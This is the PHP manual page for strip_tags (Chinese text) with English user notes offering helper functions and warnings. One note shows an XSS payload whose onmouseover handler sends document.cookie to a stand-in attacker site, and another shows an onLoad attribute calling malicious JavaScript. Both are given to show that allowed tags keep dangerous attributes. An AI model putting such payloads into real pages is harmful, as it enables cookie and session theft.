strip_tags

(PHP 4, PHP 5, PHP 7, PHP 8)

strip_tags — 从字符串中去除 HTML 和 PHP 标签

说明

strip_tags(string $string, array|string|null $allowed_tags = null): string

该函数尝试返回给定的字符串 string 去除空字符、HTML 和 PHP 标签后的结果。它使用与函数 fgetss() 一样的机制去除标签。

参数

string: 输入字符串。
allowed_tags: 使用可选的第二个参数指定不被去除的标签列表。要么是 string，要么自 PHP 7.4.0 起是 array。有关此参数的格式，请参考以下示例：

注意:
HTML 注释和 PHP 标签也会被去除。这里是硬编码处理的，所以无法通过 allowed_tags 参数进行改变。

注意:
将会忽略自闭合 XHTML 标签，allowed_tags 仅可用于非自闭合标签。例如，要同时允许 <br> 和 <br/>，应该使用：

<?php strip_tags($input, '<br>'); ?>

返回值

返回处理后的字符串。

更新日志

版本	说明
8.0.0	`allowed_tags` 允许为 null。
7.4.0	`allowed_tags` 现在可以接受 array。

示例

示例 #1 strip_tags() 示例

<?php
$text = '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>';
echo strip_tags($text);
echo "\n";

// 允许 <p> 和 <a>
echo strip_tags($text, '<p><a>');

// 自 PHP 7.4.0 起，上面的行可以写成：
// echo strip_tags($text, ['p', 'a']);
?>

以上示例会输出：

Test paragraph. Other text
<p>Test paragraph.</p> <a href="#fragment">Other text</a>

注释

警告

此函数不能用于尝试阻拦 XSS 攻击。根据输出的上下文选择更合适的函数（像 htmlspecialchars()）或者其它方式。

警告

由于 strip_tags() 无法实际验证 HTML，不完整或者破损标签将导致更多的数据被删除。

警告

该函数不会修改 allowed_tags 参数中指定的允许标记的任何属性，包括 style 和 onmouseover 属性，用户可能会在提交的内容中恶意滥用这些属性，从而展示给其他用户。

注意:
输入 HTML 标签名字如果大于 1023 字节(bytes)将会被认为是无效的，无论 allowed_tags 参数是怎样的。

参见

htmlspecialchars() - 将特殊字符转换为 HTML 实体

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用户贡献的备注 14 notes

down

274

mariusz.tarnaski at wp dot pl ¶

16 years ago

Hi. I made a function that removes the HTML tags along with their contents:



Function:

<?php

function strip_tags_content($text, $tags = '', $invert = FALSE) {



  preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags);

  $tags = array_unique($tags[1]);

    

  if(is_array($tags) AND count($tags) > 0) {

    if($invert == FALSE) {

      return preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text);

    }

    else {

      return preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text);

    }

  }

  elseif($invert == FALSE) {

    return preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text);

  }

  return $text;

}

?>



Sample text:

$text = '<b>sample</b> text with <div>tags</div>';



Result for strip_tags($text):

sample text with tags



Result for strip_tags_content($text):

 text with 



Result for strip_tags_content($text, '<b>'):

<b>sample</b> text with 



Result for strip_tags_content($text, '<b>', TRUE);

 text with <div>tags</div>



I hope that someone is useful :)

down

doug at exploittheweb dot com ¶

9 years ago

"5.3.4    strip_tags() no longer strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags."

This is poorly worded.

The above seems to be saying that, since 5.3.4, if you don't specify "<br/>" in allowable_tags then "<br/>" will not be stripped... but that's not actually what they're trying to say.

What it means is, in versions prior to 5.3.4, it "strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags", and that since 5.3.4 this is no longer the case.

So what reads as "no longer strips self-closing tags (unless the self-closing XHTML tag is also given in allowable_tags)" is actually saying "no longer (strips self-closing tags unless the self-closing XHTML tag is also given in allowable_tags)".

i.e.

pre-5.3.4: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br>' // strips <br/> because it wasn't explicitly specified in allowable_tags

5.3.4 and later: strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br><br/>' // does not strip <br/> because PHP matches it with <br> in allowable_tags

down

abe ¶

3 years ago

Note, strip_tags will remove anything looking like a tag - not just tags - i.e. if you have tags in attributes then they may be removed too,

e.g. 

    <?php
    $test='<div a="abc <b>def</b> hij" b="1">x<b>y</b>z</div>';
    $echo strip_tags($test, "<div><b>");

will result in 

   <div a="abc bdef/b hij" b="1">x<b>y</b>z</div>

down

Dr. Gianluigi "Zane" Zanettini ¶

9 years ago

A word of caution. strip_tags() can actually be used for input validation as long as you remove ANY tag. As soon as you accept a single tag (2nd parameter), you are opening up a security hole such as this:

<acceptedTag onLoad="javascript:malicious()" />

Plus: regexing away attributes or code block is really not the right solution. For effective input validation when using strip_tags() with even a single tag accepted, http://htmlpurifier.org/ is the way to go.

down

makogon-vs at yandex dot ru ¶

1 year ago

One of the most ridiculous and quite common variations of the use of this function, which is often encountered among newcomers to the world of programming, is the use of this function when processing query variables:

<?php
$search = isset($_GET['search']) ? strip_tags($_GET['search']) : '';
?>

I don’t know the root cause of where this “fashion” came from, perhaps from yet another low-quality book on PHP at the beginning of the century. But the fact remains that this construction is used even now, in the days of PHP8, not only by beginners, but also by developers of commercial systems.

Please do not use this function in the manner described above. This doesn't make any practical sense.

The HTML code removal function has nothing to do with data validation, much less the topic of SQL injections.

Also, you should not use this function when processing data before writing it to the database. It sounds strange, but you can never be sure that when using this function in the corporate system you are designing, you will not lose important incoming data that may (or will eventually become) come in HTML format.
A good practice for building systems is to sketch out the data in its original form, “as is,” but you can provide this data in client code according to current business requirements.

down

bzplan at web dot de ¶

12 years ago

a HTML code like this: 

<?php
$html = '
<div>
<p style="color:blue;">color is blue</p><p>size is <span style="font-size:200%;">huge</span></p>
<p>material is wood</p>
</div>
'; 
?>

with <?php $str = strip_tags($html); ?>
... the result is:

$str = 'color is bluesize is huge
material is wood'; 

notice: the words 'blue' and 'size' grow together :( 
and line-breaks are still in new string $str

if you need a space between the words (and without line-break) 
use my function: <?php $str = rip_tags($html); ?>
... the result is:

$str = 'color is blue size is huge material is wood'; 

the function: 

<?php
// -------------------------------------------------------------- 

function rip_tags($string) { 
    
    // ----- remove HTML TAGs ----- 
    $string = preg_replace ('/<[^>]*>/', ' ', $string); 
    
    // ----- remove control characters ----- 
    $string = str_replace("\r", '', $string);    // --- replace with empty space
    $string = str_replace("\n", ' ', $string);   // --- replace with space
    $string = str_replace("\t", ' ', $string);   // --- replace with space
    
    // ----- remove multiple spaces ----- 
    $string = trim(preg_replace('/ {2,}/', ' ', $string));
    
    return $string; 

}

// -------------------------------------------------------------- 
?>

the KEY is the regex pattern: '/<[^>]*>/'
instead of strip_tags() 
... then remove control characters and multiple spaces
:)

down

stever at starburstpublishing dot com dot au ¶

8 years ago

Since strip_tags does not remove attributes and thus creates a potential XSS security hole, here is a small function I wrote to allow only specific tags with specific attributes and strip all other tags and attributes.

If you only allow formatting tags such as b, i, and p, and styling attributes such as class, id and style, this will strip all javascript including event triggers in formatting tags.

Note that allowing anchor tags or href attributes opens another potential security hole that this solution won't protect against. You'll need more comprehensive protection if you plan to allow links in your text.

<?php
function stripUnwantedTagsAndAttrs($html_str){
  $xml = new DOMDocument();
//Suppress warnings: proper error handling is beyond scope of example
  libxml_use_internal_errors(true);
//List the tags you want to allow here, NOTE you MUST allow html and body otherwise entire string will be cleared
  $allowed_tags = array("html", "body", "b", "br", "em", "hr", "i", "li", "ol", "p", "s", "span", "table", "tr", "td", "u", "ul");
//List the attributes you want to allow here
  $allowed_attrs = array ("class", "id", "style");
  if (!strlen($html_str)){return false;}
  if ($xml->loadHTML($html_str, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD)){
    foreach ($xml->getElementsByTagName("*") as $tag){
      if (!in_array($tag->tagName, $allowed_tags)){
        $tag->parentNode->removeChild($tag);
      }else{
        foreach ($tag->attributes as $attr){
          if (!in_array($attr->nodeName, $allowed_attrs)){
            $tag->removeAttribute($attr->nodeName);
          }
        }
      }
    }
  }
  return $xml->saveHTML();
}
?>

down

CEO at CarPool2Camp dot org ¶

15 years ago

Note the different outputs from different versions of the same tag:



<?php // striptags.php

$data = '<br>Each<br/>New<br />Line';

$new  = strip_tags($data, '<br>');

var_dump($new);  // OUTPUTS string(21) "<br>EachNew<br />Line"



<?php // striptags.php

$data = '<br>Each<br/>New<br />Line';

$new  = strip_tags($data, '<br/>');

var_dump($new); // OUTPUTS string(16) "Each<br/>NewLine"



<?php // striptags.php

$data = '<br>Each<br/>New<br />Line';

$new  = strip_tags($data, '<br />');

var_dump($new); // OUTPUTS string(11) "EachNewLine"

?>

down

roger dot keulen at vaimo dot com ¶

5 years ago

https://bugs.php.net/bug.php?id=78346

After upgrading from v7.3.3 to v7.3.7 it appears nested "php tags" inside a string are no longer being stripped correctly by strip_tags().

This is still working in v7.3.3, v7.2 & v7.1. I've added a simple test below.

Test script:
---------------
<?php
$str = '<?= \'<?= 1 ?>\' ?>2';
var_dump(strip_tags($str));

Expected result:
----------------
string(1) "2"

Actual result:
--------------
string(5) "' ?>2"

down

Trititaty ¶

9 years ago

Features:
* allowable tags (as in strip_tags),
* optional stripping attributes of the allowable tags,
* optional comment preserving,
* deleting broken and unclosed tags and comments,
* optional callback function call for every piece processed allowing for flexible replacements.

<?php
function better_strip_tags( $str, $allowable_tags = '', $strip_attrs = false, $preserve_comments = false, callable $callback = null ) {
  $allowable_tags = array_map( 'strtolower', array_filter( // lowercase
      preg_split( '/(?:>|^)\\s*(?:<|$)/', $allowable_tags, -1, PREG_SPLIT_NO_EMPTY ), // get tag names
      function( $tag ) { return preg_match( '/^[a-z][a-z0-9_]*$/i', $tag ); } // filter broken
  ) );
  $comments_and_stuff = preg_split( '/(<!--.*?(?:-->|$))/', $str, -1, PREG_SPLIT_DELIM_CAPTURE );
  foreach ( $comments_and_stuff as $i => $comment_or_stuff ) {
    if ( $i % 2 ) { // html comment
      if ( !( $preserve_comments && preg_match( '/<!--.*?-->/', $comment_or_stuff ) ) ) {
        $comments_and_stuff[$i] = '';
      }
    } else { // stuff between comments
      $tags_and_text = preg_split( "/(<(?:[^>\"']++|\"[^\"]*+(?:\"|$)|'[^']*+(?:'|$))*(?:>|$))/", $comment_or_stuff, -1, PREG_SPLIT_DELIM_CAPTURE );
      foreach ( $tags_and_text as $j => $tag_or_text ) {
        $is_broken = false;
        $is_allowable = true;
        $result = $tag_or_text;
        if ( $j % 2 ) { // tag
          if ( preg_match( "%^(</?)([a-z][a-z0-9_]*)\\b(?:[^>\"'/]++|/+?|\"[^\"]*\"|'[^']*')*?(/?>)%i", $tag_or_text, $matches ) ) {
            $tag = strtolower( $matches[2] );
            if ( in_array( $tag, $allowable_tags ) ) {
              if ( $strip_attrs ) {
                $opening = $matches[1];
                $closing = ( $opening === '</' ) ? '>' : $closing;
                $result = $opening . $tag . $closing;
              }
            } else {
              $is_allowable = false;
              $result = '';
            }
          } else {
            $is_broken = true;
            $result = '';
          }
        } else { // text
          $tag = false;
        }
        if ( !$is_broken && isset( $callback ) ) {
          // allow result modification
          call_user_func_array( $callback, array( &$result, $tag_or_text, $tag, $is_allowable ) );
        }
        $tags_and_text[$j] = $result;
      }
      $comments_and_stuff[$i] = implode( '', $tags_and_text );
    }
  }
  $str = implode( '', $comments_and_stuff );
  return $str;
}
?>

Callback arguments:
* &$result: contains text to be placed insted of original piece (e.g. empty string for forbidden tags), it can be changed;
* $tag_or_text: original piece of text or a tag (see below);
* $tag: false for text between tags, lowercase tag name for tags;
* $is_allowable: boolean telling if a tag isn't allowed (to avoid double checking), always true for text between tags
Callback function isn't called for comments and broken tags.

Caution: the function doesn't fully validate tags (the more so HTML itself), it just force strips those obviously broken (in addition to stripping forbidden tags). If you want to get valid tags then use strip_attrs option, though it doesn't guarantee tags are balanced or used in the appropriate context. For complex logic consider using DOM parser.

down

Anonymous ¶

7 years ago

Just bzplan's function with the option to choose what tags are replaced for

function rip_tags($string, $rep = ' ') { 
    
    // ----- remove HTML TAGs ----- 
    $string = preg_replace ('/<[^>]*>/', $rep, $string); 
    
    // ----- remove control characters ----- 
    $string = str_replace("\r", '', $string);    // --- replace with empty space
    $string = str_replace("\n", $rep, $string);   // --- replace with space
    $string = str_replace("\t", $rep, $string);   // --- replace with space
    
    // ----- remove multiple spaces ----- 
    $string = trim(preg_replace('/ {2,}/', $rep, $string));
    
    return $string; 

}

down

cesar at nixar dot org ¶

18 years ago

Here is a recursive function for strip_tags like the one showed in the stripslashes manual page.

<?php
function strip_tags_deep($value)
{
  return is_array($value) ?
    array_map('strip_tags_deep', $value) :
    strip_tags($value);
}

// Example
$array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>'));
$array = strip_tags_deep($array);

// Output
print_r($array);
?>

down

bnt dot gloria at outlook dot com ¶

10 years ago

With allowable_tags, strip-tags is not safe.

<?php

$str= "<p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";
$str= strip_tags($str, '<p>');
echo $str; // DISPLAY: <p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";

?>

down

tom at cowin dot us ¶

14 years ago

With most web based user input of more than a line of text, it seems I get 90% 'paste from Word'. I've developed this fn over time to try to strip all of this cruft out. A few things I do here are application specific, but if it helps you - great, if you can improve on it or have a better way - please - post it... 



<?php



    function strip_word_html($text, $allowed_tags = '<b><i><sup><sub><em><strong><u><br>')

    {

        mb_regex_encoding('UTF-8');

        //replace MS special characters first

        $search = array('/&lsquo;/u', '/&rsquo;/u', '/&ldquo;/u', '/&rdquo;/u', '/&mdash;/u');

        $replace = array('\'', '\'', '"', '"', '-');

        $text = preg_replace($search, $replace, $text);

        //make sure _all_ html entities are converted to the plain ascii equivalents - it appears

        //in some MS headers, some html entities are encoded and some aren't

        $text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');

        //try to strip out any C style comments first, since these, embedded in html comments, seem to

        //prevent strip_tags from removing html comments (MS Word introduced combination)

        if(mb_stripos($text, '/*') !== FALSE){

            $text = mb_eregi_replace('#/\*.*?\*/#s', '', $text, 'm');

        }

        //introduce a space into any arithmetic expressions that could be caught by strip_tags so that they won't be

        //'<1' becomes '< 1'(note: somewhat application specific)

        $text = preg_replace(array('/<([0-9]+)/'), array('< $1'), $text);

        $text = strip_tags($text, $allowed_tags);

        //eliminate extraneous whitespace from start and end of line, or anywhere there are two or more spaces, convert it to one

        $text = preg_replace(array('/^\s\s+/', '/\s\s+$/', '/\s\s+/u'), array('', '', ' '), $text);

        //strip out inline css and simplify style tags

        $search = array('#<(strong|b)[^>]*>(.*?)</(strong|b)>#isu', '#<(em|i)[^>]*>(.*?)</(em|i)>#isu', '#<u[^>]*>(.*?)</u>#isu');

        $replace = array('<b>$2</b>', '<i>$2</i>', '<u>$1</u>');

        $text = preg_replace($search, $replace, $text);

        //on some of the ?newer MS Word exports, where you get conditionals of the form 'if gte mso 9', etc., it appears

        //that whatever is in one of the html comments prevents strip_tags from eradicating the html comment that contains

        //some MS Style Definitions - this last bit gets rid of any leftover comments */

        $num_matches = preg_match_all("/\<!--/u", $text, $matches);

        if($num_matches){

              $text = preg_replace('/\<!--(.)*--\>/isu', '', $text);

        }

        return $text;

    }

?>